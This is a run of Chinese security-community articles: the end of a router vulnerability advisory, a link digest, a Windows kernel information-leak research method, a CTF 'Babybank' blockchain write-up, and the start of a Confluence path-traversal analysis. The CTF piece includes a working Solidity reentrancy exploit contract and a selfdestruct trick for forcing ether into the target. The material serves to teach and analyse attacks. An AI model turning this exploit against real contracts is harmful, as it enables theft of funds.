－通过向路由器提供一个随机的SID cookie值来绕过系统的身份验证机制；
－访问路由器的系统日志，并利用日志中的数据来劫持路由器的管理员会话；
－使用硬编码的SID值来劫持DMS用户，并获取到路由器的管理员权限；
－注入系统级别的控制命令，并以root权限执行这些命令；
除此之外，必虎uRouter无线路由器还会在用户的HTTP通信数据中注入第三方的JavaScript文件。虽然攻击者无法直接访问在线的JavaScript脚本，但是攻击者可以通过注入任意的JavaScript内容来在用户端的浏览器中执行恶意代码。
除了上述的一些安全问题以外，我还对路由器的内核模块进行了分析，并发现了更多的安全问题。由于篇幅有限，在这篇文章中无法对路由器中所有的安全问题一一进行分析。如果你对我的研究感兴趣的话，请浏览IOActive安全公告，我将我发现的所有安全风险全部发布在了这里［[跳转链接](http://www.ioactive.com/labs/advisories.html)］。 | 社区文章 |
# 2月5日安全热点 - ADB.Miner / SandBlast
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
ADB.Miner：恶意代码正在利用开放了ADB 接口的安卓设备挖矿
<https://www.anquanke.com/post/id/97422>
恶意软件利用Spectre & Meltdown漏洞进行攻击
<https://borncity.com/win/2018/02/04/malware-using-meltdown-and-spectre-attacks-under-develoment-windows-defender-quarantines-poc-tools/>
SandBlast可以抵御Flash 0 day 漏洞
<https://blog.checkpoint.com/2018/02/04/sandblast-protects-flash-zero-day-vulnerability/>
## 技术类
脚本和渗透测试工具漫谈
<https://howucan.gr/scripts-tools/2833-dorkbot-command-line-tool-to-scan-google-search-results-for-vulnerabilities>
<https://howucan.gr/scripts-tools/2578-phantom-evasion-python-av-evasion-tool-capable-to-generate-fud-executable-even-with-the-most-common-32-bit-metasploit-payload-exe-elf-dmg-apk>
Android Hook技术防范漫谈
<https://tech.meituan.com/android_anti_hooking.html>
量化Symantec证书
<https://arkadiyt.com/2018/02/04/quantifying-untrusted-symantec-certificates/>
通过Tor Onion执行远程Shell
[Quickpost: Remote Shell On Windows Via Tor Onion
Service](https://blog.didierstevens.com/2018/02/05/quickpost-remote-shell-on-windows-via-tor-onion-service/?utm_source=securitydailynews.com)
Getting cozy with exploit development
<https://0x00sec.org/t/getting-cozy-with-exploit-development/5311>
Writeup – BaskinRobins31
<https://advancedpersistentjest.com/2018/02/04/writeup-baskinrobins31-codegate/>
保护Linux服务器的常用方法
<https://medium.com/@ageis/common-approaches-to-securing-linux-servers-and-what-runs-on-them-dadcacc5388b>
关于DCOM的讨论
<https://www.cybereason.com/blog/new-lateral-movement-techniques-abuse-dcom-technology>
Deemon:自动化CSRF安全检测框架
> [Deemon:自动化CSRF安全检测框架](http://www.arkteam.net/?p=3390)
【企业安全】企业安全项目-测试环境内网化
[https://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247483912&idx=1&sn=4bad6208297bc08d07149cf78d891407&chksm=eb6c2070dc1ba966486f844b87dfaf0803112b6d808ba702ceb3d303127e0675e82ece0316d3#rd](https://mp.weixin.qq.com/s?__biz=MzI3Njk2OTIzOQ==&mid=2247483912&idx=1&sn=4bad6208297bc08d07149cf78d891407&chksm=eb6c2070dc1ba966486f844b87dfaf0803112b6d808ba702ceb3d303127e0675e82ece0316d3#rd)
Sickle是一个shellcode开发工具，用于加速创建正常运行的shellcode所需的各个步骤
<https://github.com/wetw0rk/Sickle>
APT模拟器
<https://github.com/Neo23x0/APTSimulator>
Kaggle 网站流量预测工具
<https://github.com/sjvasquez/web-traffic-forecasting> | 社区文章 |
作者： **[fanxiaocao(@TinySecEx)](https://twitter.com/TinySecEx) and
[@pjf_](http://weibo.com/jfpan) of IceSword Lab , Qihoo 360**
英文版地址：[《Automatically Discovering Windows Kernel Information Leak
Vulnerabilities》](http://www.iceswordlab.com/2017/06/14/Automatically-Discovering-Windows-Kernel-Information-Leak-Vulnerabilities_en/)
#### 前言
2017年6月补丁日，修复了我们之前报告的5个内核信息泄漏漏洞 , 文章末尾有细节。
前年我演示过如何用 JS 来 fuzz 内核，今天我们要给大家带来的是不依赖 fuzz
，来自动化挖掘内核漏洞。从最近的几个月工作里，选取了一个小点，说下内核信息泄漏类型漏洞的挖掘。
#### 背景
windows vista 之后，微软对内核默认启用了了 ASLR ，简称 KASLR . KASLR 随机化了模块的加载基址 ,
内核对象的地址等，缓解了漏洞的利用。
在 win8 之后，这项安全特性的得到了进一步的增强。 引入 nt!ExIsRestrictedCaller 来阻止 Low integrity
的程序调用某些可以泄漏出模块基址，内核对象地址等关键信息的函数。 包括但不限于:
**NtQuerySystemInformation**
* SystemModuleInformation
* SystemModuleInformationEx
* SystemLocksInformation
* SystemStackTraceInformation
* SystemHandleInformation
* SystemExtendedHandleInformation
* SystemObjectInformation
* SystemBigPoolInformation
* SystemSessionBigPoolInformation
* SystemProcessInformation
* SystemFullProcessInformation
**NtQueryInfomationThread**
**NtQueryInfomationProcess**
以上是传统的可以获取 内核模块地址和内核对象地址的方法 , 作为内核正常的功能。但对于 integrity 在medium 以下的程序，在 win8
以后调用会失败。
KASLR 作为一项漏洞利用缓解措施，其中的一个目的就是为了使得构建通用的ROP-CHAIN
更为困难。作为漏洞的利用者来说，挖掘出信息泄漏漏洞，来直接泄漏出所需要的模块基址，就是直接对抗KASLR的办法。
#### 特点
作为内核漏洞的一种，在挖掘的过程中有特殊的地方。比如，对于传统内存损坏类漏洞而言，漏洞本身就会影响系统的正常运行，使用 verifier
等工具，能较为方便的捕获这种异常。
但是信息泄漏类型的漏洞，并不会触发异常，也不会干扰系统的正常运行，这使得发现它们较为困难。 漏洞是客观存在的，我们需要做的以尽可能小的成本去发现它们。
#### 挖掘思路
泄漏发生时，内核必然会把关键的信息写入用户态的内存，如果我们监控所有内核态写用户态地址的写操作，就能捕获这个行为。
当然系统并没有提供这个功能，这一过程由@pjf的一个专门的基于硬件虚拟化的挖掘框架进行捕获。
为了不干扰目标系统本身的操作，我在虚拟机里执行监控，获取必要的信息，在写成log后，再在宿主机进行二次分析。
在物理机里，解码日志并加载符号，做一些处理之后
就得到这样的一批日志。
#### 二次分析
现在我们有了一段实际运行过程中内核写到用户态内存的所有记录。这里面绝大多数都是正常的功能，我们需要排除掉干扰，找出数据是关键信息的。
这里主要用到了两个技巧。
###### 污染内核栈
毒化或者说污染目标数据，是一种常见的思路。在网络攻防里，也有 ARP 和 DNS 缓存的投毒。
这里所说的内核栈毒化，指的就是污染整个未使用的内核栈空间。如果某个内核栈上的变量没有初始化，那么在这个变量被写到到用户态时，写入的数据里就有我所标记的
magic value ,找出这个 magic value 所在的记录，就是泄漏的发生点。
同时我注意到，j00ru 在他的 BochsPwn 项目里也曾使用了类似的技巧。
###### KiFastCallEntry Hook
为了有时机污染内核栈，我 Hook 了 KiFastCallEntry ， 在每个系统调用发生时，污染当前栈以下剩余栈空间。
首先使用 **IoGetStackLimits** 获取当前线程的范围，然后从栈底部到当前栈位置的整个空间都被填充为 0xAA 。
这样进入系统调用之后，凡是内核堆栈上的局部变量的内容，都会被污染成 0xAA 。
###### 污染内核POOL
类似的，对于动态分配的内存,我采用 hook ExAllocatePoolWithTag 等，并污染其 POOL 内容的方式。
这样，无论是栈上的，还是堆上的，只要是未初始化的，内容都被我们污染了。
如果这个内核堆栈变量没有正确的初始化，就有可能将这个 magic value 写入到用户态的内存。结合我们捕获的日志，就能马上发现这个信息泄漏。
为了排除掉巧合，使用了多次变换 magic value 如 0xAAAAAAAA , 0xBBBBBBBB 的办法来进行排除误报。
排除干扰之后的一次典型的结果如下
可以看到，在某次短暂的监控过程中，就抓到了系统里 **161** 次泄漏。
当然这没有排重，并不是有这么多个独立的漏洞，而是某些漏洞在反复的泄漏。
此时我们就抓到了一个真正的信息泄漏漏洞，有堆栈信息，再辅以简单的人工分析，就能知道细节， 这也是 **CVE-2017-8482** 背后的故事。
###### 差异比对
对于未初始化堆栈所导致的内核信息泄漏，我们可以用污染然后查找标记的方式发现。
对于直接泄漏了关键信息的，比如直接写入了模块，对象，POOL 地址类型的，就不能用这种方法发现了。
在系统运行过程中，内核本身就会频繁的向用户态写入数据，很多数据在内核地址范围内，但实际上并不是有效的地址，只是一种噪音数据。
这种噪音数据有很多，像字符串，像素，位置信息等都有可能恰好是一个内核地址，我们需要排除掉这些噪音，发现真正的泄漏。
这里我们过滤出一部分有意义的地址，比如：
1. 模块地址，必须在内核模块地址范围内。
2. object 地址
3. POOL 地址
在环境改变，比如重启系统之后 ，必须还能在相同的位置泄漏相同类型的数据。
在排除掉系统正常的功能如 **NtQuerySystemInformation** 之类的之后，得到的数据，可信度就非常高了。
###### 泄漏模块地址
以 **CVE-2017-8485** 为例，比对之后得到的结果
可以看到，此时的结果就非常直观了，相同的堆栈来源在相同的位置下，都泄漏了
**nt!ObpReferenceObjectByHandleWithTag+0x19f** 这个地址。
###### 泄漏 object 地址
由于泄漏 object 地址和 POOL 地址的本月微软还没来得及出补丁，不能描述细节。
可以看到其中的一个案例，某个函数泄漏一个相同 object 的地址。
值得一提的是，对于这种不是从堆栈上复制数据产生的泄漏，是无法用污染堆栈的方法发现的。
#### 最后
可以看到，我们不需要专门的fuzz，仅仅依靠系统本身的运行产生的代码覆盖，就发现了这些漏洞。
任何程序的正常运行，都能提高这个覆盖率。
事实上，在实际的挖掘过程中，我仅仅使用了运行游戏和浏览器的办法就取得了良好的效果 , 一局游戏打完，十个内核洞也就挖到了。
#### 本月案例
###### CVE-2017-8470
###### CVE-2017-8474
###### CVE-2017-8476
###### CVE-2017-8482
###### CVE-2017-8485
* * * | 社区文章 |
# 一、前言
本文为强网杯CTF区块链题目解析。现在的大赛越来越常见到区块链的题目的影子，相比传统的web题目，blockchain做出题目的队伍并不多，于是我将本次比赛的两道题目进行分析，并将做题过程记录在此，方便爱好者进行学习。
由于每一个题目需要分析与演示，我在这里将两道题目分为两篇文章，本文为第一题`Babybank`。
# 二、题目分析
拿到题目后我们只能看到如下内容：
`0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten，请使用自己队伍的token获取flag，否则flag无效`
并且给出不完整合约：
拿到合约我们能看到合约私有变量有余额`balance`、`level`。看到了`sendflag`时间以及`payforflag`函数，而此函数需要传入md5的队伍token以及base64加密后的邮箱，当调用此函数后，需要满足当前调用余额大于10000000000。很显然，这是一个非常大的数，且我们需要用一些漏洞来增加账户的余额。
已知条件就如此，之后我们需要查看合约地址的信息来发掘更多有用的条件。
我们访问该合约地址并没有发现题目源码，这无疑加大了合约分析的难度。不过现在的题目基本上都不会给出源码，大多题目还是需要依靠逆向进行，于是我们也将合约进行逆向。
得到如下代码：
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x2e1a7d4d) {
// Dispatch table entry for withdraw(uint256)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var var2 = msg.data[0x04:0x24];
withdraw(var2);
stop();
} else if (var0 == 0x66d16cc3) {
// Dispatch table entry for profit()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
profit();
stop();
} else if (var0 == 0x8c0320de) {
// Dispatch table entry for 0x8c0320de (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
var temp1 = msg.data[0x04:0x24];
var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp0:temp0 + 0x20] = temp2;
var1 = 0x00aa;
memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
var temp3 = memory[0x40:0x60];
var temp4 = msg.data[0x24:0x44] + 0x04;
var temp5 = msg.data[temp4:temp4 + 0x20];
memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp3:temp3 + 0x20] = temp5;
var2 = temp0;
memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
var var3 = temp3;
func_02DC(var2, var3);
stop();
} else if (var0 == 0x8e2a219e) {
// Dispatch table entry for 0x8e2a219e (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24];
func_045C(var2);
stop();
} else if (var0 == 0x9189fec1) {
// Dispatch table entry for guess(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24];
guess(var2);
stop();
} else if (var0 == 0xa9059cbb) {
// Dispatch table entry for transfer(address,uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00aa;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var3 = msg.data[0x24:0x44];
transfer(var2, var3);
stop();
} else if (var0 == 0xd41b6db6) {
// Dispatch table entry for 0xd41b6db6 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01e7;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = func_0555(var2);
label_01E7:
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = var2;
var temp7 = memory[0x40:0x60];
return memory[temp7:temp7 + temp6 - temp7 + 0x20];
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01e7;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
goto label_01E7;
} else { revert(memory[0x00:0x00]); }
}
function withdraw(var arg0) {
if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
var temp1 = arg0;
memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = storage[temp2] - temp1;
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// 当level=1 跳出
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}
function func_02DC(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x02540be400 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
var temp0 = memory[0x40:0x60];
var temp1 = address(address(this)).balance;
var temp2;
temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
var var0 = !temp2;
if (!var0) {
var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
var temp3 = arg0;
var var1 = temp3;
var var2 = arg1;
var temp4 = memory[0x40:0x60];
var var3 = temp4;
var var4 = var3;
var var5 = var4 + 0x20;
var temp5 = var5 + 0x20;
memory[var4:var4 + 0x20] = temp5 - var4;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var6 = temp5 + 0x20;
var var8 = memory[var1:var1 + 0x20];
var var7 = var1 + 0x20;
var var9 = var8;
var var10 = var6;
var var11 = var7;
var var12 = 0x00;
if (var12 >= var9) {
label_03BC:
var temp6 = var8;
var6 = temp6 + var6;
var7 = temp6 & 0x1f;
if (!var7) {
var temp7 = var6;
memory[var5:var5 + 0x20] = temp7 - var3;
var temp8 = var2;
memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
var6 = temp7 + 0x20;
var7 = temp8 + 0x20;
var8 = memory[temp8:temp8 + 0x20];
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) {
label_041C:
var temp9 = var8;
var6 = temp9 + var6;
var7 = temp9 & 0x1f;
if (!var7) {
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
return;
} else {
var temp11 = var7;
var temp12 = var6 - temp11;
memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
var temp13 = memory[0x40:0x60];
log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
return;
}
} else {
label_040D:
var temp14 = var12;
memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
var12 = temp14 + 0x20;
if (var12 >= var9) { goto label_041C; }
else { goto label_040D; }
}
} else {
var temp15 = var7;
var temp16 = var6 - temp15;
memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
var temp17 = temp16 + 0x20;
memory[var5:var5 + 0x20] = temp17 - var3;
var temp18 = var2;
memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
var6 = temp17 + 0x20;
var8 = memory[temp18:temp18 + 0x20];
var7 = temp18 + 0x20;
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) { goto label_041C; }
else { goto label_040D; }
}
} else {
label_03AD:
var temp19 = var12;
memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
var12 = temp19 + 0x20;
if (var12 >= var9) { goto label_03BC; }
else { goto label_03AD; }
}
} else {
var temp20 = returndata.length;
memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
revert(memory[0x00:0x00 + returndata.length]);
}
}
function func_045C(var arg0) {
if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
storage[0x03] = arg0;
}
function guess(var arg0) {
if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// level == 1
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
// 余额
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
// level
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}
function transfer(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// balance == 2
if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// level == 2
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
storage[keccak256(memory[0x00:0x40])] = arg1;
}
function func_0555(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
}
而逆向出来的代码便成为我们做题的关键。下面就进行分析。
首先我们要注意的地方是在每个函数前均有一句话：
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
这句话非常关键，它表示我们无法在调用函数的时候在value中赋值。我也尝试过在value中输入值时它便会报错。
这个问题若不解决那么后面便无法继续做题，具体遇到的坑在后面进行讲解。
后面我们看合约中的关键函数：
首先是`profit()`。
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// 当level=1 跳出
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}
该函数首先会对msg.sender的level值进行判断，需要满足level==0才能进入该函数。之后多了一条最重要的判断，那就是需要msg.sender的地址满足前四位为b1b1（这个限制真的有毒，在进行题目尝试的阶段我最终创建了10+个b1b1账户）。如果上述条件均满足，那么合约将用户的余额+1并将lvel+1
。也就是执行完之后level==1 。
下面看guess()函数。
function guess(var arg0) {
if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// level == 1
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
// 余额
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
// level
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}
调用此函数的条件为level==1，且传入的参数arg0需要等于`storage[0x03]`。而这里的`storage[0x03]`为`uint
secret`。而这个参数为区块上的一个参数，所以我们可以通过web3的接口对链上数据进行读取。
`web3.eth.getStorageAt("0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c", 3,
function(x, y) {console.warn(y)});`
当条件全部满足后，该账户余额将+1，且level+1 。
下面是`transfer`函数。
function transfer(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// balance == 2
if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
// level == 2
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
storage[keccak256(memory[0x00:0x40])] = arg1;
}
该函数传入两个参数，分别代表收款人与转账金额。函数需要满足转账金额要小于用户余额，且规定了余额必须为2，level必须为2 。之后收款方账户的余额变为2 。
最后一个最重要的函数为`withdraw`。
function withdraw(var arg0) {
if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
var temp1 = arg0;
memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = storage[temp2] - temp1;
}
该函数要求传入参数为2，即取款2
token。且满足用于余额<=2。当满足条件后便可以执行函数并使用`address(msg.sender).call.gas(msg.gas).value(temp1
* 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);`方法向用户转账，之后减去用户余额。
到这里，熟悉合约漏洞的研究者应该已经发现了漏洞所在地点，即调用.call函数能够引起重入攻击。
此时我们已经找到了漏洞所在位置，那么就要分析如何去利用。
在此函数中，我们在最后看到了减法运行，并且没有进行溢出检测，即我们可以通过这里的减法造成溢出从而获取到大量的代币。那么如何进行溢出呢？函数在开始的时候做了判断，需要满足账户余额>转账金额，只要满足了这个条件那么后面的减法就不会存在溢出的情况。
于是我们就需要在中间的call函数处做手脚。我们知道当合约调用call函数时将会触发收款方的fallback函数，所以我们只需要定义该合约的fallback函数从而完成对合约的攻击即可。
即当满足条件时，系统执行到.call语句，此时收款方收到钱，然后执行fallback函数再次调用withdraw函数。由于.call还未执行完，所以此时函数还未执行最后的减法，这是再次进入一个withdraw函数。所以类似于函数做了一半然后去执行另一个函数，从而第二个withdraw函数同样可以满足预设条件从而进入。
当第二次函数执行完后，用户的钱已经变成了2 - 2 = 0，此时回到了第一个函数中.call位置，之后继续执行，余额为 0 - 2 =
-2（溢出）。从而完成攻击。
这里为什么不使用其他的函数呢？我们在执行的过程中进行过尝试，由于前面的函数均存在很严格的限制，且执行具有一定顺序，所以我们无法减少用户的余额，并且用户余额减少函数只有transfer与withdraw。无法进行。
三、做题步骤
本章我们对该合约攻击的过程进行详细的复现。
首先我们需要生成b1b1账户用于让合约有token。此网站可以满足需求：<https://vanity-eth.tk/>。
之后我们令此账户依次调用profit、guess。
此时合约中的余额与level分别为1 1 -> 2 2。之后我们调用transfer函数，将此余额转账到攻击合约中。
令攻击合约拥有2token 。
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
function transfer(address a,uint b);
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function withdraw(uint arg0){}
function balance(address a) view returns (uint b) {}
}
contract hack{
babybank a;
uint count = 0;
event log(uint256);
constructor(address b)public{
a = babybank(b);
}
function () public payable {
if(count==2){
log(3);
}else{
count = count + 1;
a.withdraw(2);
log(1);
}
}
function getMoney() public payable{}
function hacker() public{
a.withdraw(2);
log(2);
}
function payforflag1(string md5ofteamtoken,string b64email) public{
a.payforflag(md5ofteamtoken,b64email);
}
function kill() {
selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
}
}
此时合约中拥有2token的代币。
在做题过程中，我们接下来就开始进行攻击了，但是尝试了好久都没有造成溢出，同样每次尝试代价都非常大，因为要生成b1b1账户，这出题人真的会挖坑。。之后我们发现其题目合约中并没有以太币，没有以太币意味着.call根本不会调用。。所以我们还需要给他转账。然鹅所有的函数如开题所说那样被锁死无法传入value。那我们应该怎么让合约有钱呢？第一我们可以利用合约里面自带的钱，当然这个太难了，因为需要等待别人传。第二我们就需要利用自杀函数来帮助我们强制转账。
我们知道`selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);`语句可以帮助我们销毁合并并将合约中的钱全部转到括号中的地址内。
于是我们尝试：
传入0.2ether 给合约并调用getmoney进行收款。
之后调用kill函数进行自杀，从而将钱强制转到合约中。此时题目合约中多了0.2ether。
之后便可以做题了。
由代码分析我们得出代码中的关键函数分别为：guess、profit、transfer、withdraw。且合约中存在两个关键变量：balance（余额）以及level（一种标记）。在审计合约之后我们发现profit函数为：每个账户只允许调用一次，并发送钱包1
token；guess函数需要level值为1且调用后余额+1、leve+1
；而transfer函数满足必须balance与level同时为2才能调用，且调用后收款方余额变为2，且转账方余额变为0
；withdraw函数表示取款，且合约会将以太币转给msg.sender。
* 1 由于合约本身没有以太币，所以我们先生成合约A调用自杀函数给题目转钱。
* 2 进行转账操作，我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。
* 3 当C有了2token便可以进行攻击，调用hacker函数即可。
当攻击合约中显示自己的余额为2时，便可以调用`hacker`函数。在攻击函数中我控制了执行次数，因为当执行次数过高时有可能引起gas不足从而导致失败而影响最后的结果。
这里仅执行两次。并添加了log事件便于我们查看执行情况。
之后溢出成功，我们成功得到了大量的代币。
我们调用获取flag函数，得到如下日志：
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
**作者：Lucifaer
博客：<https://www.lucifaer.com/>**
### 0x01 漏洞概述
> Confluence Server and Data Center had a path traversal vulnerability in the
> downloadallattachments resource. A remote attacker who has permission to add
> attachments to pages and / or blogs, or to create a new space or personal
> space, or who has 'Admin' permissions for a space, can exploit this path
> traversal vulnerability to write files to arbitrary locations which can lead
> to remote code execution on systems that run a vulnerable version of
> Confluence Server or Data Center.
根据官方文档的描述，我们大致能知道这是个需要权限的路径穿越的漏洞，并且可以将文件上传到任意路径。造成这个漏洞的关键点在于`DownloadAllAttachments`这个资源。在经过diff后，可以确定漏洞触发的关键点在于文件名的构造：
修复前
修复后
可以看到这里是对这里的`attachment.getFileName`所获取的文件名进行二次文件名获取。
### 0x02 漏洞分析
分析这个漏洞要从两个点入手：
* `DownloadAllAttachments`自身的处理流程
* 如何让文件名中包含`../`
